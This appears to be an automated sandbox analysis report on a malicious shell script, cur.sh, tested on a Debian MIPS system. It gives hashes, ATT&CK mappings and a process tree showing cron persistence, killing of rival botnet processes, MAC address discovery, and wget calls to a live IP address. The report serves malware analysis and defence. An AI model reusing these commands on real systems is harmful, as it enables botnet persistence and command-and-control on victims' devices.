2d3dcbeffb68ab8d4f0ada8a907d435852c7d2c8a19feed18441274c2f7b9648

Analysis

max time kernel
5s
max time network
8s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
02/10/2026, 18:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
cur.sh
Size 7KB
Sample261002-xmmsgax15j
SHA256 2d3dcbeffb68ab8d4f0ada8a907d435852c7d2c8a19feed18441274c2f7b9648
MD5 300d70c24a3f36848f7f9e212e5eaa8b
SHA1 88371cf3312027c78eb17715f398daad045a3bfb
SHA512 b13689a0a6ac68f7d05f672fb321d4f1571959844b342f62326ee87ff16119224128b10a8fa80576d820987c5c273a5b5d65d71b8cfe10766d855c417e75d421
SSDEEP 96:tbAfL58OZyrQH/Wg6PI6NVpmpEckSCBzIprU9xrLrqDN1SjaGBjA5eZj33PMjH:NyV8OZB1T6NHSCkUL3q3BuPi
TLSH
T1BEF13FF9F620C635B80DC63DF659A5928E83987F06B87B60B44BEC28361C54C712E676
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

discovery execution persistence privilege_escalation

Malware Config

Signatures

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/root	cur.sh

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/6/stat	killall
File opened for reading	/proc/36/stat	killall
File opened for reading	/proc/721/cmdline	killall
File opened for reading	/proc/705/cmdline	killall
File opened for reading	/proc/707/stat	killall
File opened for reading	/proc/14/stat	killall
File opened for reading	/proc/20/stat	killall
File opened for reading	/proc/680/stat	killall
File opened for reading	/proc/20/stat	killall
File opened for reading	/proc/19/stat	killall
File opened for reading	/proc/78/stat	killall
File opened for reading	/proc/10/stat	killall
File opened for reading	/proc/71/stat	killall
File opened for reading	/proc/23/stat	killall
File opened for reading	/proc/77/stat	killall
File opened for reading	/proc/23/stat	killall
File opened for reading	/proc/2/stat	killall
File opened for reading	/proc/118/stat	killall
File opened for reading	/proc/24/stat	killall
File opened for reading	/proc/389/stat	killall
File opened for reading	/proc/118/stat	killall
File opened for reading	/proc/722/stat	killall
File opened for reading	/proc/167/stat	killall
File opened for reading	/proc/4/stat	killall
File opened for reading	/proc/345/stat	killall
File opened for reading	/proc/680/stat	killall
File opened for reading	/proc/82/stat	killall
File opened for reading	/proc/73/stat	killall
File opened for reading	/proc/7/stat	killall
File opened for reading	/proc/22/stat	killall
File opened for reading	/proc/70/stat	killall
File opened for reading	/proc/74/stat	killall
File opened for reading	/proc/7/stat	killall
File opened for reading	/proc/filesystems	killall
File opened for reading	/proc/1/stat	killall
File opened for reading	/proc/79/stat	killall
File opened for reading	/proc/664/stat	killall
File opened for reading	/proc/705/cmdline	killall
File opened for reading	/proc/5/stat	killall
File opened for reading	/proc/37/stat	killall
File opened for reading	/proc/19/stat	killall
File opened for reading	/proc/343/stat	killall
File opened for reading	/proc/82/stat	killall
File opened for reading	/proc/76/stat	killall
File opened for reading	/proc/8/stat	killall
File opened for reading	/proc/36/stat	killall
File opened for reading	/proc/22/stat	killall
File opened for reading	/proc/341/stat	killall
File opened for reading	/proc/18/stat	killall
File opened for reading	/proc/341/stat	killall
File opened for reading	/proc/22/stat	killall
File opened for reading	/proc/13/stat	killall
File opened for reading	/proc/151/stat	killall
File opened for reading	/proc/12/stat	killall
File opened for reading	/proc/707/stat	killall
File opened for reading	/proc/10/stat	killall
File opened for reading	/proc/71/stat	killall
File opened for reading	/proc/721/cmdline	killall
File opened for reading	/proc/18/stat	killall
File opened for reading	/proc/9/stat	killall
File opened for reading	/proc/716/stat	killall
File opened for reading	/proc/36/stat	killall
File opened for reading	/proc/36/stat	killall
File opened for reading	/proc/5/stat	killall

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
731	killall
757	killall
775	ip

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.xmN	touch

/tmp/cur.sh
/tmp/cur.sh
1⤵
- Creates/modifies Cron job
PID:716
- /usr/bin/wc
  wc -c
  2⤵
  PID:719
- /usr/bin/tr
  tr -cd 0-9
  2⤵
  PID:720
- /usr/bin/killall
  killall -9 robben
  2⤵
  - Reads runtime system information
  PID:723
- /usr/bin/killall
  killall -9 net.x86
  2⤵
  - Reads runtime system information
  PID:728
- /usr/bin/killall
  killall -9 net.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:731
- /usr/bin/killall
  killall -9 net.arm
  2⤵
  - Reads runtime system information
  PID:734
- /usr/bin/killall
  killall -9 net.arm5
  2⤵
  - Reads runtime system information
  PID:736
- /usr/bin/killall
  killall -9 net.arm6
  2⤵
  - Reads runtime system information
  PID:740
- /usr/bin/killall
  killall -9 net.arm7
  2⤵
  - Reads runtime system information
  PID:742
- /usr/bin/killall
  killall -9 net.mpsl
  2⤵
  - Reads runtime system information
  PID:745
- /usr/bin/killall
  killall -9 net.ppc
  2⤵
  - Reads runtime system information
  PID:746
- /usr/bin/killall
  killall -9 net.m68k
  2⤵
  - Reads runtime system information
  PID:747
- /usr/bin/killall
  killall -9 net.sh4
  2⤵
  - Reads runtime system information
  PID:749
- /usr/bin/killall
  killall -9 net.i486
  2⤵
  - Reads runtime system information
  PID:751
- /usr/bin/killall
  killall -9 net.i686
  2⤵
  - Reads runtime system information
  PID:753
- /usr/bin/killall
  killall -9 px86
  2⤵
  - Reads runtime system information
  PID:755
- /usr/bin/killall
  killall -9 pmips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:757
- /usr/bin/killall
  killall -9 parm
  2⤵
  - Reads runtime system information
  PID:758
- /usr/bin/killall
  killall -9 hajime
  2⤵
  - Reads runtime system information
  PID:760
- /usr/bin/killall
  killall -9 sora
  2⤵
  - Reads runtime system information
  PID:761
- /usr/sbin/cron
  /usr/sbin/cron
  2⤵
  PID:762
- /usr/bin/cron
  /usr/bin/cron
  2⤵
  PID:763
- /usr/bin/killall
  killall -1 crond
  2⤵
  - Reads runtime system information
  PID:764
- /usr/bin/killall
  killall -1 cron
  2⤵
  - Reads runtime system information
  PID:765
- /usr/bin/touch
  touch /tmp/.xmN
  2⤵
  - Writes file to tmp directory
  PID:767
- /bin/grep
  grep -iE "hwaddr|ether"
  2⤵
  PID:770
- /bin/grep
  grep -oE "([0-9A-Fa-f]{2}:){5}[0-9A-Fa-f]{2}"
  2⤵
  PID:771
- /usr/bin/tr
  tr -d :
  2⤵
  PID:773
- /usr/bin/head
  head -1
  2⤵
  PID:772
- /usr/bin/head
  head -1
  2⤵
  PID:778
- /bin/grep
  grep -iE link/ether
  2⤵
  PID:776
- /bin/grep
  grep -oE "([0-9A-Fa-f]{2}:){5}[0-9A-Fa-f]{2}"
  2⤵
  PID:777
- /sbin/ip
  ip addr show
  2⤵
  - System Network Configuration Discovery
  PID:775
- /usr/bin/tr
  tr -d :
  2⤵
  PID:779
- /usr/bin/wget
  wget -q -O - http://94.154.43.203:8080/lease-xm4aa7d9594e12
  2⤵
  PID:780
- /bin/cat
  cat /tmp/.xmver
  2⤵
  PID:781
- /usr/bin/killall
  killall -9 xm
  2⤵
  - Reads runtime system information
  PID:782
- /usr/bin/killall
  killall -9 .sd
  2⤵
  - Reads runtime system information
  PID:783
- /bin/rm
  rm -f /tmp/.xmN
  2⤵
  PID:784

/usr/bin/wget
wget -q -O /dev/null http://94.154.43.203:8080/skip-xm4aa7d9594e12-v20
1⤵
PID:785

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

root

Path /var/spool/cron/crontabs/root
Size 88B
SHA256 daa55b680d452f0bde4dfb4433d4ae26395e58bdf8dba0a8925d94a447936a7d
MD5 1faecacdff4e77aa696e38941020dcd6
SHA1 0fbb6db7b532a15fb42aebdf2416c0869882cf4f
SHA512 a4deba406ae0a6b1d38ec60877f4a1d76e9ee527b9baa5e76fc00c9bb566163b1666f47d11870a867e7b1233e295a5e004215a7460dc18e148f6a02602d6c0dc
TLSH
T1AFB012E016001A300141D2243212A8A06107E0C0051309B9546E0C04285D713B614540
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads